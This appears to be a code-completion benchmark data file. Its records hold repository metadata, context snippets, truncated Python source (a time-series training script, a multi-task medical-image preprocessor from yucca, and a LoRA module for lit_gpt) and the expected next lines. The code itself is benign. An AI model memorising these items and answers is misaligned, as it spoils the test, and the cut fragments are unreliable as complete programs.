default=False, help='See utils/tools for usage') #JTFT parser.add_argument('--n_freq', type=int, default=32, help='number of frequency components') parser.add_argument('--n_concat_td',type=int, default=4, help='number of TD patches to concat') parser.add_argument('--d_compress_max', type=int, default=96, help='max width in the compressed (time) dimension for linear transformer') parser.add_argument('--e_layers_tfi', type=int, default=None, help='Number of layers of TFI encoder') parser.add_argument('--min_epochs', type=int, default=1, help='minimum epochs for training') parser.add_argument('--mod_scal_tfi', type=float, default=1.0, help='Scale factor of the TFI model (n_heads, d_k, d_v, d_ff). Typical values are 1.0, 0.5 and 0.25, defaut is 1.0. Use negative value to disable ffn in the mapped transformer') parser.add_argument('--ini_with_low_freq', action='store_true', default=False, help='whether to init with low frequencies') parser.add_argument('--use_mark', action='store_true', default=False, help='whether to use marks') parser.add_argument('--resume_after_epo', type=int, default=0, help='Resume (the No. of epoches are finished, the 1st epoch is 1)') parser.add_argument('--sep_time_freq', action='store_true', default=False, help='Use seperated FD learning') parser.add_argument('--use_huber_loss', action='store_true', default=False, help='Use Huber loss function') parser.add_argument('--huber_delta', type=float, default=1.0, help='pct_start') parser.add_argument('--b_not_compile', action='store_true', default=False, help='Do not compile the model') args = parser.parse_args() # random seed fix_seed = args.random_seed random.seed(fix_seed) torch.manual_seed(fix_seed) np.random.seed(fix_seed) args.use_gpu = True if torch.cuda.is_available() and args.use_gpu else False if args.use_gpu and args.use_multi_gpu: args.devices = args.devices.replace(' ', '') device_ids = args.devices.split(',') args.device_ids = [int(id_) for id_ in device_ids] args.gpu = args.device_ids[0] print('Args in experiment:') print(args) n_dev=torch.cuda.device_count() print("Available devices:") for i_dev in range(n_dev): print(torch.cuda.get_device_name(i_dev)) if 'JTFT' in args.model: Exp = Exp_Main_JTFT else:
Exp = Exp_Main
1
2023-10-26 10:08:11+00:00
12k
Sllambias/yucca
yucca/deprecated/YuccaPreprocessor_MultiTask.py
[ { "identifier": "YuccaPreprocessor", "path": "yucca/preprocessing/YuccaPreprocessor.py", "snippet": "class YuccaPreprocessor(object):\n \"\"\"\n The YuccaPreprocessor class is designed to preprocess medical images for the Yucca project.\n It implements various preprocessing steps, such as reori...
import numpy as np import torch import nibabel as nib import os import cc3d from yucca.preprocessing.YuccaPreprocessor import YuccaPreprocessor from yucca.paths import yucca_preprocessed_data, yucca_raw_data from yucca.preprocessing.normalization import normalizer from yucca.utils.nib_utils import get_nib_spacing, get_nib_orientation, reorient_nib_image from yucca.utils.type_conversions import nifti_or_np_to_np from yucca.image_processing.objects.BoundingBox import get_bbox_for_foreground from yucca.image_processing.cropping_and_padding import crop_to_box, pad_to_size from multiprocessing import Pool from skimage.transform import resize from batchgenerators.utilities.file_and_folder_operations import ( join, load_json, subfiles, save_pickle, maybe_mkdir_p, isfile, subdirs, )
9,815
self.target_spacing = np.array(self.plans["target_spacing"]) def run(self): self.initialize_properties() self.initialize_paths() maybe_mkdir_p(self.target_dir) tasks = subdirs(join(self.input_dir, "imagesTr"), join=False) subject_ids = [] for task in tasks: for subject in subfiles(join(self.input_dir, "imagesTr", task), join=False): if subject.endswith("_000.nii.gz"): s = subject[: -len("_000.nii.gz")] subject_ids.append((s, task)) print( f"{'Preprocessing Task:':25.25} {self.task} \n" f"{'Using Planner:':25.25} {self.plans_path} \n" f"{'Crop to nonzero:':25.25} {self.plans['crop_to_nonzero']} \n" f"{'Normalization scheme:':25.25} {self.plans['normalization_scheme']} \n" f"{'Transpose Forward:':25.25} {self.transpose_forward} \n" f"{'Transpose Backward:':25.25} {self.transpose_backward} \n" ) p = Pool(self.threads) p.map(self._preprocess_train_subject, subject_ids) p.close() p.join() def _preprocess_train_subject(self, subject_id_and_task): subject_id, task = subject_id_and_task assert task in ["Classification", "Reconstruction", "Segmentation"] image_props = {} subject_id = subject_id.split(".")[0] print(f"Preprocessing: {subject_id}") arraypath = join(self.target_dir, subject_id + ".npy") picklepath = join(self.target_dir, subject_id + ".pkl") if isfile(arraypath) and isfile(picklepath): print(f"Case: {subject_id} already exists. Skipping.") return # First find relevant images by their paths and save them in the image property pickle # Then load them as images # The '_' in the end is to avoid treating Case_4_000 AND Case_42_000 as different versions # of the seg named Case_4 as both would start with "Case_4", however only the correct one is # followed by an underscore imagepaths = [ impath for impath in subfiles(join(self.imagedirs, task)) if os.path.split(impath)[-1].startswith(subject_id + "_") ] image_props["image files"] = imagepaths images = [nib.load(image) for image in imagepaths] # Do the same with segmentation seg = [ segpath for segpath in subfiles(join(self.labeldirs, task)) if os.path.split(segpath)[-1].startswith(subject_id + ".") ] print(subject_id, seg) image_props["segmentation file"] = seg assert len(seg) < 2, f"unexpected number of segmentations found. Expected 1 or 0 and found {len(seg)}" if task == "Classification": seg = np.load(seg[0]) elif task == "Segmentation": seg = nib.load(seg[0]) else: seg = None if not self.disable_unittests: assert len(images) > 0, f"found no images for {subject_id + '_'}, " f"attempted imagepaths: {imagepaths}" assert ( len(images[0].shape) == self.plans["dataset_properties"]["data_dimensions"] ), f"image should be shape (x, y(, z)) but is {images[0].shape}" # Make sure all modalities are correctly registered if len(images) > 1: for image in images: assert images[0].shape == image.shape, ( f"Sizes do not match for {subject_id}" f"One is: {images[0].shape} while another is {image.shape}" ) assert np.allclose(get_nib_spacing(images[0]), get_nib_spacing(image)), ( f"Spacings do not match for {subject_id}" f"One is: {get_nib_spacing(images[0])} while another is {get_nib_spacing(image)}" ) assert get_nib_orientation(images[0]) == get_nib_orientation(image), ( f"Directions do not match for {subject_id}" f"One is: {get_nib_orientation(images[0])} while another is {get_nib_orientation(image)}" ) original_spacing = get_nib_spacing(images[0]) original_size = np.array(images[0].shape) if self.target_spacing.size: target_spacing = self.target_spacing else: target_spacing = original_spacing # If qform and sform are both missing the header is corrupt and we do not trust the # direction from the affine # Make sure you know what you're doing if images[0].get_qform(coded=True)[1] or images[0].get_sform(coded=True)[1]: original_orientation = get_nib_orientation(images[0]) final_direction = self.plans["target_coordinate_system"] images = [nifti_or_np_to_np(reorient_nib_image(image, original_orientation, final_direction)) for image in images] if isinstance(seg, nib.Nifti1Image): seg = nifti_or_np_to_np(reorient_nib_image(seg, original_orientation, final_direction)) else: original_orientation = "INVALID" final_direction = "INVALID" images = [nifti_or_np_to_np(image) for image in images] if isinstance(seg, nib.Nifti1Image): seg = nifti_or_np_to_np(seg) # Cropping is performed to save computational resources. We are only removing background. if self.plans["crop_to_nonzero"]: nonzero_box = get_bbox_for_foreground(images[0], background_label=0) image_props["crop_to_nonzero"] = nonzero_box for i in range(len(images)):
""" Takes raw data conforming with Yucca standards and preprocesses according to the generic scheme """ class YuccaMultiTaskPreprocessor(YuccaPreprocessor): """ Multi Task equivalent of the YuccaPreprocessor, which prepares a dataset consisting of a combination of segmentation, classification and registration cases. """ def __init__(self, plans_path, task=None, threads=12, disable_unittests=False): self.name = str(self.__class__.__name__) self.task = task self.plans_path = plans_path self.plans = load_json(plans_path) self.threads = threads self.disable_unittests = disable_unittests # lists for information we would like to attain self.transpose_forward = [] self.transpose_backward = [] self.target_spacing = [] def initialize_paths(self): self.target_dir = join(yucca_preprocessed_data, self.task, self.plans["plans_name"]) self.input_dir = join(yucca_raw_data, self.task) self.imagedirs = join(self.input_dir, "imagesTr") self.labeldirs = join(self.input_dir, "labelsTr") def initialize_properties(self): """ here we basically set up things that are needed for preprocessing during training, but that aren't necessary during inference """ self.dataset_properties = self.plans["dataset_properties"] self.intensities = self.dataset_properties["intensities"] # op values self.transpose_forward = np.array(self.plans["transpose_forward"]) self.transpose_backward = np.array(self.plans["transpose_backward"]) self.target_spacing = np.array(self.plans["target_spacing"]) def run(self): self.initialize_properties() self.initialize_paths() maybe_mkdir_p(self.target_dir) tasks = subdirs(join(self.input_dir, "imagesTr"), join=False) subject_ids = [] for task in tasks: for subject in subfiles(join(self.input_dir, "imagesTr", task), join=False): if subject.endswith("_000.nii.gz"): s = subject[: -len("_000.nii.gz")] subject_ids.append((s, task)) print( f"{'Preprocessing Task:':25.25} {self.task} \n" f"{'Using Planner:':25.25} {self.plans_path} \n" f"{'Crop to nonzero:':25.25} {self.plans['crop_to_nonzero']} \n" f"{'Normalization scheme:':25.25} {self.plans['normalization_scheme']} \n" f"{'Transpose Forward:':25.25} {self.transpose_forward} \n" f"{'Transpose Backward:':25.25} {self.transpose_backward} \n" ) p = Pool(self.threads) p.map(self._preprocess_train_subject, subject_ids) p.close() p.join() def _preprocess_train_subject(self, subject_id_and_task): subject_id, task = subject_id_and_task assert task in ["Classification", "Reconstruction", "Segmentation"] image_props = {} subject_id = subject_id.split(".")[0] print(f"Preprocessing: {subject_id}") arraypath = join(self.target_dir, subject_id + ".npy") picklepath = join(self.target_dir, subject_id + ".pkl") if isfile(arraypath) and isfile(picklepath): print(f"Case: {subject_id} already exists. Skipping.") return # First find relevant images by their paths and save them in the image property pickle # Then load them as images # The '_' in the end is to avoid treating Case_4_000 AND Case_42_000 as different versions # of the seg named Case_4 as both would start with "Case_4", however only the correct one is # followed by an underscore imagepaths = [ impath for impath in subfiles(join(self.imagedirs, task)) if os.path.split(impath)[-1].startswith(subject_id + "_") ] image_props["image files"] = imagepaths images = [nib.load(image) for image in imagepaths] # Do the same with segmentation seg = [ segpath for segpath in subfiles(join(self.labeldirs, task)) if os.path.split(segpath)[-1].startswith(subject_id + ".") ] print(subject_id, seg) image_props["segmentation file"] = seg assert len(seg) < 2, f"unexpected number of segmentations found. Expected 1 or 0 and found {len(seg)}" if task == "Classification": seg = np.load(seg[0]) elif task == "Segmentation": seg = nib.load(seg[0]) else: seg = None if not self.disable_unittests: assert len(images) > 0, f"found no images for {subject_id + '_'}, " f"attempted imagepaths: {imagepaths}" assert ( len(images[0].shape) == self.plans["dataset_properties"]["data_dimensions"] ), f"image should be shape (x, y(, z)) but is {images[0].shape}" # Make sure all modalities are correctly registered if len(images) > 1: for image in images: assert images[0].shape == image.shape, ( f"Sizes do not match for {subject_id}" f"One is: {images[0].shape} while another is {image.shape}" ) assert np.allclose(get_nib_spacing(images[0]), get_nib_spacing(image)), ( f"Spacings do not match for {subject_id}" f"One is: {get_nib_spacing(images[0])} while another is {get_nib_spacing(image)}" ) assert get_nib_orientation(images[0]) == get_nib_orientation(image), ( f"Directions do not match for {subject_id}" f"One is: {get_nib_orientation(images[0])} while another is {get_nib_orientation(image)}" ) original_spacing = get_nib_spacing(images[0]) original_size = np.array(images[0].shape) if self.target_spacing.size: target_spacing = self.target_spacing else: target_spacing = original_spacing # If qform and sform are both missing the header is corrupt and we do not trust the # direction from the affine # Make sure you know what you're doing if images[0].get_qform(coded=True)[1] or images[0].get_sform(coded=True)[1]: original_orientation = get_nib_orientation(images[0]) final_direction = self.plans["target_coordinate_system"] images = [nifti_or_np_to_np(reorient_nib_image(image, original_orientation, final_direction)) for image in images] if isinstance(seg, nib.Nifti1Image): seg = nifti_or_np_to_np(reorient_nib_image(seg, original_orientation, final_direction)) else: original_orientation = "INVALID" final_direction = "INVALID" images = [nifti_or_np_to_np(image) for image in images] if isinstance(seg, nib.Nifti1Image): seg = nifti_or_np_to_np(seg) # Cropping is performed to save computational resources. We are only removing background. if self.plans["crop_to_nonzero"]: nonzero_box = get_bbox_for_foreground(images[0], background_label=0) image_props["crop_to_nonzero"] = nonzero_box for i in range(len(images)):
images[i] = crop_to_box(images[i], nonzero_box)
8
2023-10-26 08:13:03+00:00
12k
artnoage/expllama
lit_gpt/lora.py
[ { "identifier": "Config", "path": "lit_gpt/config.py", "snippet": "class Config:\n org: str = \"Lightning-AI\"\n name: str = \"lit-GPT\"\n block_size: int = 4096\n vocab_size: int = 50254\n padding_multiple: int = 512\n padded_vocab_size: Optional[int] = None\n n_layer: int = 16\n ...
import math import torch import torch.nn as nn import lit_gpt from dataclasses import dataclass from typing import Any, Dict, List, Optional, Tuple, Type, Union from torch.nn import functional as F from typing_extensions import Self from lit_gpt.config import Config as BaseConfig from lit_gpt.model import GPT as BaseModel from lit_gpt.model import Block as BaseBlock from lit_gpt.model import CausalSelfAttention as BaseCausalSelfAttention from lit_gpt.model import KVCache, RoPECache from lit_gpt.utils import map_old_state_dict_weights
9,643
Returns: Output tensor of shape (batch_size, context_length, 3 * embedding_size) """ # Let's assume that: # ⚬ x: (64, 64, 128) or (batch_size, context_length, embedding_size) # ⚬ self.linear.weight: (384, 128) or (3 * embedding_size, embedding_size) # ⚬ self.lora_A.data: (4, 128) # ⚬ self.lora_B.data: (256, 2) # if weights are merged or LoRA is disabled (r <= 0 or all `enable_lora` are False) - it's only a regular nn.Linear forward pass; # otherwise in addition do the forward pass with LoRA weights and add it's output to the output from pretrained weights pretrained = self.linear(x) if self.r == 0 or not any(self.enable_lora) or self.merged: return pretrained after_A = F.linear(self.lora_dropout(x), self.lora_A) # (64, 64, 128) @ (4, 128) -> (64, 64, 4) # For F.conv1d: # ⚬ input: input tensor of shape (mini-batch, in_channels, iW) # ⚬ weight: filters of shape (out_channels, in_channels/groups, kW) after_B = self.conv1d( after_A.transpose(-2, -1), # (64, 64, 4) -> (64, 4, 64) self.lora_B.unsqueeze(-1), # (256, 2) -> (256, 2, 1) ).transpose( -2, -1 ) # (64, 4, 64) @ (256, 2, 1) -> (64, 256, 64) -> (64, 64, 256) lora = self.zero_pad(after_B) * self.scaling # (64, 64, 256) after zero_pad (64, 64, 384) return pretrained + lora def mark_only_lora_as_trainable(model: nn.Module, bias: str = "none") -> None: """Freeze all modules except LoRA's and depending on 'bias' value unfreezes bias weights. Args: model: model with LoRA layers bias: ``"none"``: all bias weights will be frozen, ``"lora_only"``: only bias weight for LoRA layers will be unfrozen, ``"all"``: all bias weights will be unfrozen. Raises: NotImplementedError: if `bias` not in ["none", "lora_only", "all"] """ # freeze all layers except LoRA's for n, p in model.named_parameters(): if "lora_" not in n: p.requires_grad = False # depending on the `bias` value unfreeze bias weights if bias == "none": return if bias == "all": for n, p in model.named_parameters(): if "bias" in n: p.requires_grad = True elif bias == "lora_only": for m in model.modules(): if isinstance(m, LoRALayer) and hasattr(m, "bias") and m.bias is not None: m.bias.requires_grad = True else: raise NotImplementedError def lora_filter(key: str, value: Any) -> bool: return "lora_" in key @dataclass class Config(BaseConfig): """ Args: r: rank of the weight update matrices. To make sense of using LoRA the rank should be smaller than the rank of the weights of the model. The rank can be as low as 1: https://arxiv.org/pdf/2106.09685.pdf (section 7.2) alpha: alpha is needed for scaling updates as alpha/r "This scaling helps to reduce the need to retune hyperparameters when we vary r" https://arxiv.org/pdf/2106.09685.pdf (section 4.1) dropout: dropout that is applied on the input in the LoRA branch (before multiplying by matrix A) to_*: either apply LoRA to the specified weights or not """ r: int = 0 alpha: int = 1 dropout: float = 0.0 to_query: bool = False to_key: bool = False to_value: bool = False to_projection: bool = False to_mlp: bool = False to_head: bool = False @property def mlp_class(self) -> Type: return getattr(lit_gpt.lora, self._mlp_class) class GPT(BaseModel): def __init__(self, config: Config) -> None: nn.Module.__init__(self) assert config.padded_vocab_size is not None self.config = config self.lm_head = LoRALinear( config.n_embd, config.padded_vocab_size, bias=False, r=(config.r if config.to_head else 0), lora_alpha=config.alpha, lora_dropout=config.dropout, ) self.transformer = nn.ModuleDict( dict( wte=nn.Embedding(config.padded_vocab_size, config.n_embd), h=nn.ModuleList(Block(config) for _ in range(config.n_layer)), ln_f=config.norm_class(config.n_embd, eps=config.norm_eps), ) ) self.rope_cache: Optional[RoPECache] = None self.mask_cache: Optional[torch.Tensor] = None
# Derived from https://github.com/microsoft/LoRA # ------------------------------------------------------------------------------------------ # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License (MIT). See LICENSE in the repo root for license information. # ------------------------------------------------------------------------------------------ r""" Low Ranking Adaptation for LLMs scheme. ┌───────────────────┐ ┆ h ┆ └───────────────────┘ ▲ | + / \ ┌─────────────────┐ ╭───────────────╮ Matrix initialization: ┆ ┆ \ B / B = 0 ┆ pretrained ┆ \ r*d / A = N(0, sigma^2) ┆ weights ┆ ╰─────────╯ ┆ ┆ | r | r - rank ┆ W e R^(d*d) ┆ | ◀─────▶ | ┆ ┆ ╭─────────╮ └─────────────────┘ / A \ ▲ / d*r \ \ ╰───────────────╯ \ ▲ \ / \ / ┌───────────────────┐ ┆ x ┆ └───────────────────┘ With LoRA (Low Ranking Adaptation: https://arxiv.org/abs/2106.09685) instead of learning weights of size d*d, we can freeze the pretrained weights and instead learn two matrices of size d*r and r*d (they will store weight updates for the pretrained weights): the number of parameters in this case will be reduced drastically (depending on the rank of course) yet after multiplication of matrices d*r and r*d we will get a matrix d*d which we can sum with frozen pretrained weights and thus fine-tune the model. The goal of this approach is to move weight updates into a separate matrix which is decomposed with two matrices of a lower rank. """ class LoRALayer(nn.Module): def __init__(self, r: int, lora_alpha: int, lora_dropout: float): """Store LoRA specific attributes in a class. Args: r: rank of the weight update matrices. To make sense of using LoRA the rank should be smaller than the rank of the weights of the model. The rank can be as low as 1: https://arxiv.org/pdf/2106.09685.pdf (section 7.2) lora_alpha: alpha is needed for scaling updates as alpha/r "This scaling helps to reduce the need to retune hyperparameters when we vary r" https://arxiv.org/pdf/2106.09685.pdf (section 4.1) lora_dropout: dropout that is applied on the input in the LoRA branch (before multiplying by matrix A) """ super().__init__() assert r >= 0 self.r = r self.lora_alpha = lora_alpha # Optional dropout if lora_dropout > 0.0: self.lora_dropout = nn.Dropout(p=lora_dropout) else: self.lora_dropout = lambda x: x # Mark the weight as unmerged self.merged = False class LoRALinear(LoRALayer): # LoRA implemented in a dense layer def __init__( self, # ↓ this part is for pretrained weights in_features: int, out_features: int, # ↓ the remaining part is for LoRA r: int = 0, lora_alpha: int = 1, lora_dropout: float = 0.0, **kwargs, ): """LoRA wrapper around linear class. This class has three weight matrices: 1. Pretrained weights are stored as `self.linear.weight` 2. LoRA A matrix as `self.lora_A` 3. LoRA B matrix as `self.lora_B` Only LoRA's A and B matrices are updated, pretrained weights stay frozen. Args: in_features: number of input features of the pretrained weights out_features: number of output features of the pretrained weights r: rank of the weight update matrices. To make sense of using LoRA the rank should be smaller than the rank of the weights of the model. The rank can be as low as 1: https://arxiv.org/pdf/2106.09685.pdf (section 7.2) lora_alpha: alpha is needed for scaling updates as alpha/r "This scaling helps to reduce the need to retune hyperparameters when we vary r" https://arxiv.org/pdf/2106.09685.pdf (section 4.1) lora_dropout: dropout that is applied on the input in the LoRA branch (before multiplying by matrix A) """ super().__init__(r=r, lora_alpha=lora_alpha, lora_dropout=lora_dropout) self.linear = torch.nn.Linear(in_features, out_features, **kwargs) # Actual trainable parameters if r > 0: self.lora_A = nn.Parameter(self.linear.weight.new_zeros((r, in_features))) self.lora_B = nn.Parameter(self.linear.weight.new_zeros((out_features, r))) self.scaling = self.lora_alpha / self.r self.reset_parameters() def reset_parameters(self): """Reset all the weights, even including pretrained ones.""" if hasattr(self, "lora_A"): # initialize A the same way as the default for nn.Linear and B to zero # Wondering why 'a' is equal to math.sqrt(5)?: https://github.com/pytorch/pytorch/issues/15314 nn.init.kaiming_uniform_(self.lora_A, a=math.sqrt(5)) nn.init.zeros_(self.lora_B) def merge(self): """Merges the LoRA weights into the full-rank weights (W = W + delta_W).""" if self.r > 0 and not self.merged: # Merge the weights and mark it self.linear.weight.data += (self.lora_B @ self.lora_A) * self.scaling self.merged = True def forward(self, x: torch.Tensor): # if weights are merged or rank is less or equal to zero (LoRA is disabled) - it's only a regular nn.Linear forward pass; # otherwise in addition do the forward pass with LoRA weights and add it's output to the output from pretrained weights pretrained = self.linear(x) if self.r == 0 or self.merged: return pretrained lora = (self.lora_dropout(x) @ self.lora_A.transpose(0, 1) @ self.lora_B.transpose(0, 1)) * self.scaling return pretrained + lora class LoRAQKVLinear(LoRALinear): # LoRA implemented in a dense layer def __init__( self, # ↓ this part is for pretrained weights in_features: int, out_features: int, # ↓ the remaining part is for LoRA n_head: int, n_query_groups: int, r: int = 0, lora_alpha: int = 1, lora_dropout: float = 0.0, enable_lora: Union[bool, Tuple[bool, bool, bool]] = False, **kwargs, ): """LoRA wrapper around linear class that is used for calculation of q, k and v matrices. This class has three weight matrices: 1. Pretrained weights are stored as `self.linear.weight` 2. LoRA A matrix as `self.lora_A` 3. LoRA B matrix as `self.lora_B` Only LoRA's A and B matrices are updated, pretrained weights stay frozen. Args: in_features: number of input features of the pretrained weights out_features: number of output features of the pretrained weights n_head: number of attention heads n_query_groups: number of query groups (see diagram in `lit_gpt/config.py`) r: rank of the weight update matrices. To make sense of using LoRA the rank should be smaller than the rank of the weights of the model. The rank can be as low as 1: https://arxiv.org/pdf/2106.09685.pdf (section 7.2) lora_alpha: alpha is needed for scaling updates as alpha/r "This scaling helps to reduce the need to retune hyperparameters when we vary r" https://arxiv.org/pdf/2106.09685.pdf (section 4.1) lora_dropout: dropout that is applied on the input in the LoRA branch (before multiplying by matrix A) enable_lora: MergeLinear class is for attention mechanism where qkv are calculated with a single weight matrix. If we don't want to apply LoRA we can set it as False. For example if we want to apply LoRA only to `query` and `value` but keep `key` without weight updates we should pass `[True, False, True]` """ super(LoRALinear, self).__init__(r=r, lora_alpha=lora_alpha, lora_dropout=lora_dropout) self.linear = torch.nn.Linear(in_features, out_features, **kwargs) self.n_head = n_head self.n_query_groups = n_query_groups if isinstance(enable_lora, bool): enable_lora = [enable_lora] * 3 assert len(enable_lora) == 3 self.enable_lora = enable_lora # Actual trainable parameters # To better understand initialization let's imagine that we have such parameters: # ⚬ in_features: 128 (embeddings_size) # ⚬ out_features: 384 (3 * embedding_size) # ⚬ r: 2 # ⚬ enable_lora: [True, False, True] if r > 0 and any(enable_lora): self.lora_A = nn.Parameter(self.linear.weight.new_zeros((r * sum(enable_lora), in_features))) # (4, 128) enable_q, enable_k, enable_v = enable_lora self.kv_embd_size = self.linear.in_features // (n_head // n_query_groups) # qkv_shapes will be used to split a tensor with weights correctly qkv_shapes = ( self.linear.in_features * enable_q, self.kv_embd_size * enable_k, self.kv_embd_size * enable_v, ) self.qkv_shapes = [s for s in qkv_shapes if s] self.lora_B = nn.Parameter(self.linear.weight.new_zeros(sum(self.qkv_shapes), r)) # (256, 2)) # Notes about shapes above # - self.lora_A has shape (4, 128): 4 because rank is 2 and LoRA is applied only to two matrices; # 128 is the input size of the x (embedding size). (4, 128) and not (128, 4) because later on in # F.linear function weights are automatically transposed. In addition conv1d requires channels to # be before seq length # - self.lora_B has shape (256, 2): 256 because LoRA is applied only to two matrices, so the output is # 128*2; 2 tells to have two channels per group for group convolution # Scaling: # This balances the pretrained model`s knowledge and the new task-specific adaptation # https://lightning.ai/pages/community/tutorial/lora-llm/ # So, set alpha to 1.0 to fully add LoRA. If the LoRA seems to have too much effect (i.e., overfitted), set # alpha to lower value. If the LoRA seems to have too little effect, set alpha to higher than 1.0. You can # tune these values to your needs. This value can be even slightly greater than 1.0! # https://github.com/cloneofsimo/lora self.scaling = self.lora_alpha / self.r # Compute the indices # Indices are needed to properly pad weight updates with zeros. If we want to fine-tune queries and values, # but not keys, then the weights update should be: # # [[ΔW,ΔW,ΔW, ..., 0,0,0, ..., ΔW,ΔW,ΔW,], # [....................................], # [ΔW,ΔW,ΔW, ..., 0,0,0, ..., ΔW,ΔW,ΔW,]] # ↑ ↑ ↑ # ________________________________________ # | query | key | value | # ---------------------------------------- self.lora_ind = [] if enable_q: self.lora_ind.extend(range(0, self.linear.in_features)) if enable_k: self.lora_ind.extend(range(self.linear.in_features, self.linear.in_features + self.kv_embd_size)) if enable_v: self.lora_ind.extend(range(self.linear.in_features + self.kv_embd_size, self.linear.out_features)) self.reset_parameters() def zero_pad(self, x: torch.Tensor) -> torch.Tensor: """Properly pad weight updates with zeros. If, based on `self.enable_lora`, we want to fine-tune queries and values, but not keys, then the weights update should be: [[ΔW,ΔW,ΔW, ..., 0,0,0, ..., ΔW,ΔW,ΔW,], [....................................], [ΔW,ΔW,ΔW, ..., 0,0,0, ..., ΔW,ΔW,ΔW,]] ↑ ↑ ↑ ________________________________________ | query | key | value | ---------------------------------------- Args: x: tensor with weights update that will be padded with zeros if necessary Returns: A tensor with weight updates and zeros for deselected q, k or v """ # we need to do zero padding only if LoRA is disabled for one of QKV matrices if all(self.enable_lora): return x # Let's image that: # ⚬ input x has shape (64, 64, 256): (batch_size, sequence_length, embeddings_size) # ⚬ embeddings_size: 128 # ⚬ self.linear.out_features: 384 (3 * embeddings_size) # ⚬ enable_lora: [True, False, True] # Then x has embeddings_size of 256 (2 * 128 as enable_lora only for query and value, not keys) and expected # embeddings_size is 384 (self.linear.out_features), so that means that we need to pad from 256 to 384 with zeros, but # only for key updates (this is where self.lora_ind comes in handy) # Note: double transpose (in the beginning and in the end) is basically a guard for two-dimensional tensors # for example when we want to merge/unmerge LoRA weights and pretrained weights x = x.transpose(0, 1) result = x.new_zeros((*x.shape[:-1], self.linear.out_features)) # (64, 64, 384) result = result.view(-1, self.linear.out_features) # (4096, 384) result = result.index_copy( 1, torch.tensor(self.lora_ind, device=result.device), x.reshape(-1, sum(self.qkv_shapes)) ) # (4096, 256) return result.view((*x.shape[:-1], self.linear.out_features)).transpose(0, 1) # (64, 64, 384) def conv1d(self, input: torch.Tensor, weight: torch.Tensor) -> torch.Tensor: """An extension of the `torch.nn.functional.conv1d` function with a logic specific to grouped queries. If the number of heads is equal to the number of query groups - grouped queries are disabled (see scheme in `lit_gpt/config.py:Config`). In this case the combined QKV matrix consists of equally sized query, key and value parts, which means we can utilize `groups` argument from `conv1d`: with this argument the input and weight matrices will be splitted in equally sized parts and applied separately (like having multiple conv layers side by side). Otherwise QKV matrix consists of unequally sized parts and thus we have to split input and weight matrices manually, apply each part of the weight matrix to the corresponding input's part and concatenate the result. Args: input: input matrix of shape (B, C, T) weight: weight matrix of shape (C_output, rank, 1). "C_output" is defined as a sum of embedding sizes for each enabled LoRA layer (see init method of the class). Returns: A tensor with a shape (B, C_output, T) """ if self.n_head == self.n_query_groups: return F.conv1d(input, weight, groups=sum(self.enable_lora)) # (B, C_output, T) # Notation: # ⚬ N: number of enabled LoRA layers (self.enable_lora) # ⚬ C_output': embeddings size for each LoRA layer (not equal in size) # ⚬ r: rank of all LoRA layers (equal in size) input_splitted = input.chunk(sum(self.enable_lora), dim=1) # N * (B, C // N, T) weight_splitted = weight.split(self.qkv_shapes) # N * (C_output', r, 1) return torch.cat( [F.conv1d(a, b) for a, b in zip(input_splitted, weight_splitted)], dim=1 # (B, C_output', T) ) # (B, C_output, T) def merge(self): """Merges the LoRA weights into the full-rank weights (W = W + delta_W).""" # Let's assume that: # ⚬ self.linear.weight.data: (384, 128) or (3 * embedding_size, embedding_size) # ⚬ self.lora_A.data: (4, 128) # ⚬ self.lora_B.data: (256, 2) if self.r > 0 and any(self.enable_lora) and not self.merged: delta_w = self.conv1d( self.lora_A.data.unsqueeze(0), # (4, 128) -> (1, 4, 128) self.lora_B.data.unsqueeze(-1), # (256, 2) -> (256, 2, 1) ).squeeze( 0 ) # (1, 4, 128) @ (256, 2, 1) -> (1, 256, 128) -> (256, 128) # W = W + delta_W (merge) self.linear.weight.data += self.zero_pad(delta_w * self.scaling) # (256, 128) after zero_pad (384, 128) self.merged = True def forward(self, x: torch.Tensor) -> torch.Tensor: """Do the forward pass. If LoRA's weights are merged with pretrained ones then it's a simple matrix multiplication. If not, then multiply pretrained weights with input, apply LoRA on input and do summation. Args: x: input tensor of shape (batch_size, context_length, embedding_size) Returns: Output tensor of shape (batch_size, context_length, 3 * embedding_size) """ # Let's assume that: # ⚬ x: (64, 64, 128) or (batch_size, context_length, embedding_size) # ⚬ self.linear.weight: (384, 128) or (3 * embedding_size, embedding_size) # ⚬ self.lora_A.data: (4, 128) # ⚬ self.lora_B.data: (256, 2) # if weights are merged or LoRA is disabled (r <= 0 or all `enable_lora` are False) - it's only a regular nn.Linear forward pass; # otherwise in addition do the forward pass with LoRA weights and add it's output to the output from pretrained weights pretrained = self.linear(x) if self.r == 0 or not any(self.enable_lora) or self.merged: return pretrained after_A = F.linear(self.lora_dropout(x), self.lora_A) # (64, 64, 128) @ (4, 128) -> (64, 64, 4) # For F.conv1d: # ⚬ input: input tensor of shape (mini-batch, in_channels, iW) # ⚬ weight: filters of shape (out_channels, in_channels/groups, kW) after_B = self.conv1d( after_A.transpose(-2, -1), # (64, 64, 4) -> (64, 4, 64) self.lora_B.unsqueeze(-1), # (256, 2) -> (256, 2, 1) ).transpose( -2, -1 ) # (64, 4, 64) @ (256, 2, 1) -> (64, 256, 64) -> (64, 64, 256) lora = self.zero_pad(after_B) * self.scaling # (64, 64, 256) after zero_pad (64, 64, 384) return pretrained + lora def mark_only_lora_as_trainable(model: nn.Module, bias: str = "none") -> None: """Freeze all modules except LoRA's and depending on 'bias' value unfreezes bias weights. Args: model: model with LoRA layers bias: ``"none"``: all bias weights will be frozen, ``"lora_only"``: only bias weight for LoRA layers will be unfrozen, ``"all"``: all bias weights will be unfrozen. Raises: NotImplementedError: if `bias` not in ["none", "lora_only", "all"] """ # freeze all layers except LoRA's for n, p in model.named_parameters(): if "lora_" not in n: p.requires_grad = False # depending on the `bias` value unfreeze bias weights if bias == "none": return if bias == "all": for n, p in model.named_parameters(): if "bias" in n: p.requires_grad = True elif bias == "lora_only": for m in model.modules(): if isinstance(m, LoRALayer) and hasattr(m, "bias") and m.bias is not None: m.bias.requires_grad = True else: raise NotImplementedError def lora_filter(key: str, value: Any) -> bool: return "lora_" in key @dataclass class Config(BaseConfig): """ Args: r: rank of the weight update matrices. To make sense of using LoRA the rank should be smaller than the rank of the weights of the model. The rank can be as low as 1: https://arxiv.org/pdf/2106.09685.pdf (section 7.2) alpha: alpha is needed for scaling updates as alpha/r "This scaling helps to reduce the need to retune hyperparameters when we vary r" https://arxiv.org/pdf/2106.09685.pdf (section 4.1) dropout: dropout that is applied on the input in the LoRA branch (before multiplying by matrix A) to_*: either apply LoRA to the specified weights or 